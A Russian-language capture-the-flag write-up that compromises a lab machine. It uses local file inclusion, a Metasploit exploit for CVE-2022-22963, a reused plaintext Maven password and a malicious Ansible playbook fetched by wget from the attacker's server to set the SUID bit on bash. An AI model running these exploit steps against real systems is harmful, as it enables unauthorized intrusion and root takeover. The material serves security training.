Обзор сервисов

Посмотрим на сервисы на машине 10.10.11.204:

$ nmap -sV -sC -Pn -oN 10.10.11.204 10.10.11.204  
Starting Nmap 7.94 ( <https://nmap.org> ) at 2023-06-25 12:13 EDT  
Nmap scan report for 10.10.11.204  
Host is up (0.055s latency).  
Not shown: 998 closed tcp ports (reset)  
PORT STATE SERVICE VERSION  
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:  
| 3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA)  
| 256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA)  
|_ 256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519)  
8080/tcp open nagios-nsca Nagios NSCA  
|_http-open-proxy: Proxy might be redirecting requests  
|_http-title: Home  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .  
Nmap done: 1 IP address (1 host up) scanned in 9.73 seconds

На порту 8080 торчит вебка.

Вебка

Alt text

Справа сверху интересная ссылка upload. Проверим, что мы можем там делать:

Alt text

Можем загружать только картинки. Попробуем загрузить свою:

Alt text

Имя файла осталось тем же, есть подозрение на Local File Inclusion.

Local File Inclusion

Мы можем читать файлы и директории.

Alt text

Alt text

Осмотримся в системе.

Java приложение

В директории /var/www/WebApp обнаружились исходные коды Java приложения, которое крутится на этом же сервере. Посмотрим на его код:

Alt text

Приложение использует spring cloud function web 3.2.2, которое уязвимо к CVE-2022-22963. Воспользуемся стандартным Metasploit:

$ msfconsole  
msf6 > search spring_cloud

Matching Modules
================

## Name Disclosure Date Rank Check Description

   - ---- --------------- ---- ----- -----------

   0 exploit/multi/http/spring_cloud_function_spel_injection 2022-03-29 excellent Yes Spring Cloud Function SpEL Injection  
   1 exploit/linux/http/spring_cloud_gateway_rce 2022-01-26 excellent Yes Spring Cloud Gateway Remote Code Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/linux/http/spring_cloud_gateway_rce

msf6 > use 0  
msf6> set rhosts 10.10.11.204  
msf6> set lhost tun0  
msf6> run

Alt text

Alt text

Пользователь Phil

Проверим, что в домашней директории пользователя frank:

meterpreter > ls -la
Listing: /home/frank
====================

Mode Size Type Last modified Name

---- ---- ---- ------------- ----

020666/rw-rw-rw0 cha 2023-06-25 09:45:17 -0400 .bash_history  
100644/rw-r--r-- 3786 fil 2022-04-18 02:18:26 -0400 .bashrc  
040700/rwx------ 4096 dir 2023-02-01 13:38:34 -0500 .cache  
040755/rwxr-xr-x 4096 dir 2023-02-01 13:38:34 -0500 .local  
040700/rwx------ 4096 dir 2023-02-01 13:38:34 -0500 .m2  
100644/rw-r--r-- 807 fil 2020-02-25 07:03:22 -0500 .profile

meterpreter > cd .m2/
meterpreter > ls
Listing: /home/frank/.m2
========================

Mode Size Type Last modified Name

---- ---- ---- ------------- ----

100640/rw-r----- 617 fil 2023-01-31 11:55:58 -0500 settings.xml

meterpreter > cat settings.xml

<?xml version="1.0" encoding="UTF-8"?>

<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">  
  <servers>  
 <server>  
   <id>Inject</id>  
   <username>phil</username>  
   <password>DocPhillovestoInject123</password>  
   <privateKey>${user.home}/.ssh/id_dsa</privateKey>  
   <filePermissions>660</filePermissions>  
   <directoryPermissions>660</directoryPermissions>  
   <configuration></configuration>  
 </server>  
  </servers>  
</settings>

Обнаружились настройки Maven и пароль в открытом виде. Попытаемся переиспользовать их для получения доступа к учетной записи phil:

Alt text

Пользовательский флаг

ls -la  
total 32  
drwxr-xr-x 5 phil phil 4096 Jun 25 16:56 .  
drwxr-xr-x 4 root root 4096 Feb 1 18:38 ..  
lrwxrwxrwx 1 root root 9 Feb 1 07:40 .bash_history -> /dev/null  
-rw-r--r-- 1 phil phil 3771 Feb 25 2020 .bashrc  
drwx------ 2 phil phil 4096 Feb 1 18:38 .cache  
drwx------ 3 phil phil 4096 Jun 25 15:14 .gnupg  
drwxrwxr-x 3 phil phil 4096 Jun 25 14:08 .local  
-rw-r--r-- 1 phil phil 807 Feb 25 2020 .profile  
-rw-r----- 1 root phil 33 Jun 25 13:45 user.txt  
ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000  
 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
 inet 127.0.0.1/8 scope host lo  
    valid_lft forever preferred_lft forever  
 inet6 ::1/128 scope host  
    valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000  
 link/ether 00:50:56:b9:fd:23 brd ff:ff:ff:ff:ff:ff  
 inet 10.10.11.204/23 brd 10.10.11.255 scope global eth0  
    valid_lft forever preferred_lft forever  
 inet6 dead:beef::250:56ff:feb9:fd23/64 scope global dynamic mngtmpaddr  
    valid_lft 86392sec preferred_lft 14392sec  
 inet6 fe80::250:56ff:feb9:fd23/64 scope link  
    valid_lft forever preferred_lft forever  
cat user.txt  
f6b405c3e435b25b721e4ff9ccd8a99b

Alt text

Повышение привилегий

На машине обнаруживается Ansible Automation Platform:

Alt text

Мы также можем писать в директорию /opt/automation/tasks:

Alt text

Воспользуемся инструкцией по эксплуатации. Запишем эксплоит в evil.yml:

- hosts: localhost  
 tasks:  
   - name: Evil  
  ansible.builtin.shell: |  
    chmod +s /bin/bash  
  become: true

Откроем сервер на локальной машине и скачаем с него файл на атакуемую машину:

# на локальной машине
$ python3 -m http.server 80
# на сервере
cd tasks  
wget <http://10.10.14.175/evil.yml>  
--2023-06-25 17:09:01-- <http://10.10.14.175/evil.yml>  
Connecting to 10.10.14.175:80… connected.  
HTTP request sent, awaiting response… 200 OK  
Length: 117 [application/octet-stream]  
Saving to: ‘evil.yml’

     0K                                                       100% 12.3M=0s

2023-06-25 17:09:01 (12.3 MB/s) - ‘evil.yml’ saved [117/117]

Немного подождем и выполним:

/bin/bash -p

Alt text

Флаг суперпользователя

$ id  
uid=1001(phil) gid=1001(phil) euid=0(root) egid=0(root) groups=0(root),50(staff),1001(phil)  
$ cd /root  
$ ls -la  
total 36  
drwx------  6 root staff 4096 Mar  6 13:15 .  
drwxr-xr-x 18 root root  4096 Feb  1 18:38 ..  
drwxr-xr-x  3 root root  4096 Jan 30 16:22 .ansible  
lrwxrwxrwx  1 root root     9 Jan 24 13:56 .bash_history -> /dev/null  
-rw-r--r--  1 root root  3158 Sep  1  2022 .bashrc  
drwx------  2 root root  4096 Feb  1 12:26 .cache  
drwx------  2 root root  4096 Feb  1 19:29 .config  
drwxr-xr-x  3 root root  4096 May 25  2022 .local  
-rw-r--r--  1 root root   150 Oct 20  2022 playbook_1.yml  
-rw-r-----  1 root root    33 Jun 25 13:45 root.txt  
$ cat root.txt  
ca4ff0859abc784b562be9014e106b05  
$ ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000  
 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
 inet 127.0.0.1/8 scope host lo  
    valid_lft forever preferred_lft forever  
 inet6 ::1/128 scope host  
    valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000  
 link/ether 00:50:56:b9:fd:23 brd ff:ff:ff:ff:ff:ff  
 inet 10.10.11.204/23 brd 10.10.11.255 scope global eth0  
    valid_lft forever preferred_lft forever  
 inet6 dead:beef::250:56ff:feb9:fd23/64 scope global dynamic mngtmpaddr  
    valid_lft 86398sec preferred_lft 14398sec  
 inet6 fe80::250:56ff:feb9:fd23/64 scope link  
    valid_lft forever preferred_lft forever

Alt text